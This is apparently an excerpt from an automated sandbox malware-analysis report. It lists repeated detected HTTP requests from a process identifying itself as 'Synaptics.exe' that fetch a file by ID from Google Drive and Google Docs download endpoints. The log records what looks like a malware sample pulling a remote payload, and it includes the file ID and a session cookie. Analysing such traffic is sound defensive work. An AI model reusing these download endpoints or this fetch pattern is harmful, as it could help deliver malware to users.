Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=jwHVCD5Y3PztQF9UGa_Zr3EGaEguJU83oc0CdCzIBuJ07tnDw9kZndwQ08yQRj56tWS1YK2ZrpJ9ZFZEY1_M4NK4aMUe9-olJxf0xZ1xacFiskpT6O89ktlUUaJU_vGNbSabuV7ymMFYewPeqFyj2lmvgKpUZvR0jbXGwRoqr-mr67D3j3Kyht7d
